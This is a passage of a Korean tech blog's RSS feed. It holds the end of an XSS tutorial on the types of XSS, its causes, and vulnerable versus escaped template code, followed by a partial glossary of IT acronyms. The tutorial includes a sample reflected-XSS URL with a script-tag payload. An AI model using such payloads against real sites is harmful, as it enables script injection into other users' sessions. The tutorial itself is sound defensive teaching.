height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 17일 오전 05_24_14.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;XSS 공격 흐름도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;C. 주요 XSS 유형 소개&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 발생 위치와 동작 방식에 따라 다음과 같이 분류됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. Reflected XSS (반사형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 URL이나 폼 입력 등을 통해 전달한 악성 스크립트가 서버를 거쳐 즉시 응답으로 반영되는 형태입니다.&lt;/li&gt;
&lt;li&gt;공격 링크를 이메일이나 메시지로 전파하는 방식이 많습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. Stored XSS (저장형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;악성 스크립트가 DB나 파일 등 서버에 저장된 후, 해당 데이터가 웹페이지에 출력될 때 실행됩니다.&lt;/li&gt;
&lt;li&gt;게시판, 댓글, 프로필 정보 등에 자주 등장합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. DOM-based XSS&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버를 거치지 않고 클라이언트 측 자바스크립트 코드에서 발생하는 XSS입니다.&lt;/li&gt;
&lt;li&gt;URL 파라미터 등을 DOM에서 직접 읽고 HTML에 삽입할 경우 문제가 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;D. 왜 발생하는가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 대부분 다음과 같은 이유로 발생합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&quot;입력값에 대한 필터링 부족&quot;&lt;/b&gt;: 사용자로부터 받은 데이터를 신뢰하고 검증하지 않은 채 처리할 경우&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;출력 시 HTML 이스케이프 누락&quot;&lt;/b&gt;: &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt; 같은 특수문자를 이스케이프하지 않고 HTML에 삽입할 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무에서는 다음과 같은 구조에서 자주 발생합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;게시판 글, 댓글, 닉네임 등을 HTML로 출력할 때&lt;/li&gt;
&lt;li&gt;검색 결과 페이지에서 검색어를 강조하여 표시할 때&lt;/li&gt;
&lt;li&gt;클라이언트 자바스크립트에서 &lt;code&gt;innerHTML&lt;/code&gt;, &lt;code&gt;document.write&lt;/code&gt; 등을 사용할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;예제 코드: 취약한 코드와 안전한 코드 비교&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약한 코드 (Reflected XSS)&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- 서버에서 받은 query 값을 그대로 출력 --&amp;gt;
&amp;lt;p&amp;gt;검색어: &amp;lt;%= query %&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 다음과 같이 URL을 조작할 수 있습니다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;https://example.com/search?query=&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;안전한 코드&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- HTML 이스케이프 처리를 적용 --&amp;gt;
&amp;lt;p&amp;gt;검색어: &amp;lt;%= escapeHtml(query) %&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 또는 템플릿 엔진에서 HTML 특수문자를 변환하도록 설정해야 합니다.&lt;/p&gt;
&lt;pre class=&quot;arcade&quot;&gt;&lt;code&gt;// 예시: escapeHtml 함수 구현
function escapeHtml(str) {
  return str
    .replace(/&amp;amp;/g, &quot;&amp;amp;amp;&quot;)
    .replace(/&amp;lt;/g, &quot;&amp;amp;lt;&quot;)
    .replace(/&amp;gt;/g, &quot;&amp;amp;gt;&quot;)
    .replace(/\&quot;/g, &quot;&amp;amp;quot;&quot;)
    .replace(/'/g, &quot;&amp;amp;#039;&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OWASP 공식 문서: &lt;a href=&quot;https://owasp.org/www-community/attacks/xss&quot;&gt;https://owasp.org/www-community/attacks/xss&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;MDN Web Docs (XSS): &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting&quot;&gt;https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/보안</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/498</guid>
      <comments>https://eyecandyzero.tistory.com/498#entry498comment</comments>
      <pubDate>Tue, 17 Jun 2025 05:46:20 +0900</pubDate>
    </item>
    <item>
      <title>2025 IT 업계에서 자주 쓰는 약어 (Tech Acronym Dictionary)</title>
      <link>https://eyecandyzero.tistory.com/497</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 17일 오전 12_34_05-min.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2XDbz/btsOCnfTkzP/3ezKluqumksSDF99xX1cOk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2XDbz/btsOCnfTkzP/3ezKluqumksSDF99xX1cOk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2XDbz/btsOCnfTkzP/3ezKluqumksSDF99xX1cOk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2XDbz%2FbtsOCnfTkzP%2F3ezKluqumksSDF99xX1cOk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 17일 오전 12_34_05-min.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IT 업계는 흔히 &quot;축약어의 바다&quot;로 불립니다. 일상적인 대화 속에서조차 약어가 문장의 절반 이상을 차지할 때가 많고, 회의나 문서를 읽다가 낯선 약어에 막히는 경험도 종종 있습니다. 이러한 용어는 단순히 줄임말이 아니라, 기술적 개념과 업무 방식을 함축하고 있어 정확한 이해가 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 2025년 현재의 IT 환경은 인공지능(AI), 클라우드 컴퓨팅, DevOps, 데이터 보안 등 다양한 분야에서 빠르게 발전하고 있으며, 각 분야에서 사용하는 전문 용어와 약어도 함께 늘어나고 있습니다. 이처럼 다양한 약어들이 혼재된 환경에서는, 서로 간의 의사소통에서 오해를 줄이고 협업의 효율을 높이기 위해 약어의 의미와 사용 맥락을 정확히 이해하는 것이 중요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 IT 실무에서는 문서 작성, 이메일 커뮤니케이션, 회의, 코드 주석 등 다양한 상황에서 약어를 자주 접하게 되며, 이를 빠르게 해석하고 맥락에 맞게 이해하는 능력이 곧 업무 생산성으로 이어지기도 합니다. 어떤 경우에는 약어 하나의 의미를 잘못 이해한 탓에 프로젝트 방향이 어긋나는 경우도 생깁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국, 약어를 단순히 외우는 데 그치지 않고, 각 용어가 만들어진 배경과 쓰이는 목적까지 함께 이해하는 태도가 필요합니다. 이 글에서는 그런 이해를 돕기 위해 최신 약어 트렌드, 실무에서 자주 쓰이는 약어, 그리고 유사 용어 간의 차이를 정리했습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;제품 개발 및 전략 용어&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;MVP&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Minimum Viable Product&lt;/td&gt;
&lt;td&gt;&lt;b&gt;최소 기능 제품&lt;/b&gt;. 핵심 기능만 갖춘 초기 제품으로, 시장의 피드백을 받아본 후 개선하기 위해 출시하는 시제품을 가리킵니다. &lt;i&gt;(분야: 제품 개발)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;PMF&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Product Market Fit&lt;/td&gt;
&lt;td&gt;&lt;b&gt;제품-시장 적합성&lt;/b&gt;. 제품이 목표 시장의 요구와 기대에 부응하는 상태를 의미하며, 스타트업 성공의 핵심 지표로 여겨집니다. &lt;i&gt;(분야: 제품 전략)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;POC&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Proof of Concept&lt;/td&gt;
&lt;td&gt;&lt;b&gt;개념 검증&lt;/b&gt;. 새로운 아이디어나 기술이 &lt;b&gt;실제로 구현 가능한지&lt;/b&gt; 그리고 &lt;b&gt;유용한지&lt;/b&gt;를 시험하여 증명하는 과정을 뜻합니다. &lt;i&gt;(분야: 제품/기술 검증)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;프론트엔드 (Frontend)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SPA&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Single Page Application&lt;/td&gt;
&lt;td&gt;&lt;b&gt;싱글 페이지 애플리케이션.&lt;/b&gt; 처음 한 번만 전체 페이지를 불러오고 이후에는 필요한 데이터만 동적으로 로딩하여, 페이지 전환 없이 빠른 사용자 경험을 제공하는 웹 애플리케이션 방식.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;PWA&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Progressive Web App&lt;/td&gt;
&lt;td&gt;&lt;b&gt;프로그레시브 웹 앱.&lt;/b&gt; 웹 기술로 개발되어 설치 없이 동작하면서도 푸시 알림, 오프라인 동작 등 네이티브 앱과 유사한 사용자 경험을 제공하는 웹 앱 형태. (크로스플랫폼 모바일 대안으로 주목)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SSR&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Server-Side Rendering&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서버 사이드 렌더링.&lt;/b&gt; 웹 페이지의 UI 요소를 모든 사용자 요청마다 &lt;b&gt;서버에서 생성&lt;/b&gt;하여 보내주는 방식. 초기 로딩이 빠르고 SEO에 유리하나, 매 요청마다 렌더링해 &lt;b&gt;서버 부하&lt;/b&gt;가 발생할 수 있음. (전통적인 웹 방식)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CSR&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Client-Side Rendering&lt;/td&gt;
&lt;td&gt;&lt;b&gt;클라이언트 사이드 렌더링.&lt;/b&gt; 초기에는 빈 페이지를 받고 &lt;b&gt;브라우저에서 JavaScript로 UI를 생성&lt;/b&gt;하는 방식. 서버는 데이터 API만 제공하고 렌더링은 클라이언트가 담당하므로, 첫 로딩은 느리지만 이후 &lt;b&gt;동적 상호작용이 부드러움&lt;/b&gt;. (SPA 프레임워크들이 사용하는 방식)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SSG&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Static Site Generation&lt;/td&gt;
&lt;td&gt;&lt;b&gt;정적 사이트 생성.&lt;/b&gt; 빌드 시점에 미리 &lt;b&gt;정적 HTML을 생성&lt;/b&gt;해 배포하는 방식. 런타임에 서버 연산 없이도 콘텐츠 제공이 가능하여 &lt;b&gt;응답 속도가 매우 빠르고&lt;/b&gt; 보안성이 높다. 다만 콘텐츠 변경 시마다 다시 빌드/배포가 필요함.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;JAMstack&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;JavaScript, API, Markup stack&lt;/td&gt;
&lt;td&gt;&lt;b&gt;잼스택.&lt;/b&gt; JavaScript와 재사용 가능한 API, 정적 마크업을 조합하여 웹사이트를 구축하는 현대적 아키텍처. &lt;b&gt;클라이언트 사이드 JS&lt;/b&gt;, &lt;b&gt;백엔드 API&lt;/b&gt;, &lt;b&gt;정적 파일&lt;/b&gt;로 구성되어 성능과 보안성을 높이는 웹 개발 트렌드.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;WASM&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;WebAssembly&lt;/td&gt;
&lt;td&gt;&lt;b&gt;웹어셈블리.&lt;/b&gt; 브라우저에서 &lt;b&gt;네이티브에 가까운 성능&lt;/b&gt;을 내기 위해 설계된 저수준 이진 포맷 실행 플랫폼. C/C++/Rust 등의 코드를 컴파일하여 웹에서 실행 가능하며, &lt;b&gt;CPU집약적 작업을 고속으로 처리&lt;/b&gt;할 수 있음.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Micro-frontend&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(해당 없음)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;마이크로 프론트엔드.&lt;/b&gt; 하나의 프론트엔드 애플리케이션을 도메인별 &lt;b&gt;작은 모듈들로 분리&lt;/b&gt;하여 각각 독립적으로 개발&amp;middot;배포하는 아키텍처. 여러 팀이 병렬 작업 가능하고, 부분적 기능만 독립 배포하여 &lt;b&gt;유연성과 확장성&lt;/b&gt;을 높임.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;백엔드 (Backend)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;REST&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Representational State Transfer&lt;/td&gt;
&lt;td&gt;&lt;b&gt;레스트.&lt;/b&gt; 웹 상호작용을 위한 &lt;b&gt;아키텍처 스타일&lt;/b&gt;로, HTTP 프로토콜을 기반으로 리소스의 표현(Representation)을 주고받는 &lt;b&gt;API 설계 원칙&lt;/b&gt;이다. URL을 통해 자원을 명시하고, &lt;b&gt;HTTP 메서드(GET, POST 등)&lt;/b&gt;로 해당 자원에 대한 행위를 정의한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;GraphQL&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(Graph Query Language)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;그래프QL.&lt;/b&gt; Facebook에서 만든 &lt;b&gt;API 쿼리 언어&lt;/b&gt;로, 클라이언트가 필요한 데이터 구조를 지정하면 서버가 한 번에 응답. &lt;b&gt;과다/과소 응답 문제를 개선&lt;/b&gt;하고, 엔드포인트 하나로 유연한 데이터 조회를 가능하게 함. (REST 대안으로 각광)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;gRPC&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(gRPC Remote Procedure Call)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;지RPC.&lt;/b&gt; Google이 개발한 &lt;b&gt;고성능 RPC 프레임워크&lt;/b&gt;로, HTTP/2 기반 이진 프로토콜을 사용하여 &lt;b&gt;마이크로서비스 간 통신&lt;/b&gt;에 최적화됨. &lt;b&gt;프로토콜 버퍼&lt;/b&gt;로 인터페이스를 정의하고 직렬화하여, &lt;b&gt;속도가 빠르고 타입 안전&lt;/b&gt;한 서비스 간 호출을 구현한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Microservices&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(Microservice Architecture)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;마이크로서비스.&lt;/b&gt; 애플리케이션을 독립적으로 배포 가능한 &lt;b&gt;작은 서비스들&lt;/b&gt;으로 분해하는 &lt;b&gt;백엔드 아키텍처&lt;/b&gt; 패턴. 각 서비스는 고유한 기능과 데이터베이스를 가지며 &lt;b&gt;경량 API나 메시지로 통신&lt;/b&gt;한다. 이를 통해 &lt;b&gt;개발 속도 향상&lt;/b&gt; 및 &lt;b&gt;부분 장애 격리&lt;/b&gt; 등의 이점을 얻지만, 분산 시스템 복잡성이 증가한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Monolith&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(Monolithic Architecture)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;모놀리식 아키텍처.&lt;/b&gt; 애플리케이션을 하나의 &lt;b&gt;일체형 구조&lt;/b&gt;로 구축하는 전통적인 방식. 모든 기능이 한 프로젝트로 배포되어 &lt;b&gt;개발 초기에는 단순&lt;/b&gt;하지만, 규모가 커지면 &lt;b&gt;배포나 확장에 비효율적&lt;/b&gt;일 수 있다. (대조적으로 마이크로서비스가 등장함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CRUD&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Create, Read, Update, Delete&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크루드.&lt;/b&gt; 데이터베이스나 영속 저장소에서 수행하는 &lt;b&gt;기본 연산 네 가지&lt;/b&gt;를 일컫는 약어. 생성(Create), 조회(Read), 수정(Update), 삭제(Delete)를 가리키며, &lt;b&gt;REST API 설계&lt;/b&gt;에서 HTTP 메서드로 매핑하여 자원 조작을 표현할 때도 사용된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;OAuth 2.0&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(Open Authorization)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;오스 2.0.&lt;/b&gt; &lt;b&gt;인가(Open Authorization)&lt;/b&gt;를 위한 업계 표준 프로토콜로, 타사 애플리케이션이 사용자 비밀번호를 직접 다루지 않고도 &lt;b&gt;액세스 토큰을 통해 제한된 자원 접근 권한&lt;/b&gt;을 얻도록 해준다. 예를 들어 소셜 로그인 등에 활용되며 &lt;b&gt;Authorization Code, Implicit&lt;/b&gt; 등의 인증 흐름을 제공한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;JWT&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;JSON Web Token&lt;/td&gt;
&lt;td&gt;&lt;b&gt;제이슨 웹 토큰.&lt;/b&gt; 사용자 인증 정보나 속성을 담는 &lt;b&gt;JSON 기반 토큰 규격&lt;/b&gt;으로, Base64로 인코딩된 &lt;b&gt;헤더, 페이로드, 서명&lt;/b&gt; 세 부분으로 구성된다. 일단 발급되면 &lt;b&gt;무상태(stateless)&lt;/b&gt;로 클라이언트가 보관하며 요청 시 전달하여 인증에 사용되고, 서명을 통해 &lt;b&gt;위변조를 검증&lt;/b&gt;할 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;BFF&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Backend for Frontend&lt;/td&gt;
&lt;td&gt;&lt;b&gt;BFF.&lt;/b&gt; &lt;b&gt;프론트엔드 전용 백엔드&lt;/b&gt;를 뜻하며, 각 클라이언트 유형(Web, 모바일 등)에 맞춤화된 백엔드 서비스 계층을 둬서 &lt;b&gt;클라이언트별 요구에 최적화된 API&lt;/b&gt;를 제공하는 아키텍처 패턴이다. 이를 통해 과도한 데이터 전송을 줄이고, 각 UI 팀이 자신들의 BFF를 관리하여 &lt;b&gt;개발 효율성&lt;/b&gt;을 높인다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;모바일 (Mobile)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;React Native&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;리액트 네이티브.&lt;/b&gt; Facebook이 개발한 &lt;b&gt;크로스플랫폼 모바일 프레임워크&lt;/b&gt;로, JavaScript와 React를 사용하여 iOS와 Android 앱을 동시에 개발한다. 네이티브 컴포넌트로 렌더링되어 &lt;b&gt;네이티브 앱과 유사한 성능&lt;/b&gt;과 UI를 제공한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Flutter&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;플러터.&lt;/b&gt; Google이 만든 &lt;b&gt;크로스플랫폼 UI 툴킷&lt;/b&gt;으로 Dart 언어로 모바일, 웹, 데스크톱용 애플리케이션을 개발한다. &lt;b&gt;단일 코드베이스로 iOS/Android 앱&lt;/b&gt;을 만들 수 있고, 자체 렌더링 엔진으로 &lt;b&gt;일관된 UI와 높은 성능&lt;/b&gt;을 보여준다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SwiftUI&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;스위프트UI.&lt;/b&gt; Apple의 &lt;b&gt;iOS UI 프레임워크&lt;/b&gt;로, 선언적 문법으로 UI를 작성하고 &lt;b&gt;실시간 미预览(preview)&lt;/b&gt;를 지원한다. Swift 언어와 통합되어 코드 양을 줄이고 &lt;b&gt;반응형(UI 상태 자동 동기화)&lt;/b&gt; 디자인을 쉽게 구현할 수 있다. (iOS 개발 최신 트렌드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Jetpack Compose&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;젯팩 컴포즈.&lt;/b&gt; Google의 &lt;b&gt;안드로이드 현대식 UI 툴킷&lt;/b&gt;으로, Kotlin으로 선언형 UI를 구축한다. XML 레이아웃을 대체하며, &lt;b&gt;미리보기 및 실시간 업데이트&lt;/b&gt;가 가능하고, 컴포넌트들을 조합하여 &lt;b&gt;유연한 UI 개발&lt;/b&gt;을 지원한다. (Android 개발 트렌드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;KMM&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Kotlin Multiplatform Mobile&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Kotlin 멀티플랫폼 모바일.&lt;/b&gt; Kotlin 언어를 활용하여 &lt;b&gt;iOS와 Android에서 공통 비즈니스 로직을 공유&lt;/b&gt;하는 크로스플랫폼 개발 기술. UI는 각 플랫폼에 native로 구현하고, &lt;b&gt;공통 모듈에 비즈니스 로직&lt;/b&gt;을 작성하여 코드 중복을 줄인다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;클라우드 &amp;amp; 인프라 (Cloud/Infra)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;AWS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Amazon Web Services&lt;/td&gt;
&lt;td&gt;&lt;b&gt;아마존 웹 서비스.&lt;/b&gt; 아마존이 제공하는 세계 최대의 &lt;b&gt;클라우드 서비스 플랫폼&lt;/b&gt;으로, 컴퓨팅 파워(EC2), 스토리지(S3), 데이터베이스(RDS) 등 수백 가지의 클라우드 서비스를 제공한다. &lt;b&gt;유연한 확장성&lt;/b&gt;과 &lt;b&gt;종량제 과금&lt;/b&gt; 모델로 클라우드 인프라의 대표격이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;GCP&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Google Cloud Platform&lt;/td&gt;
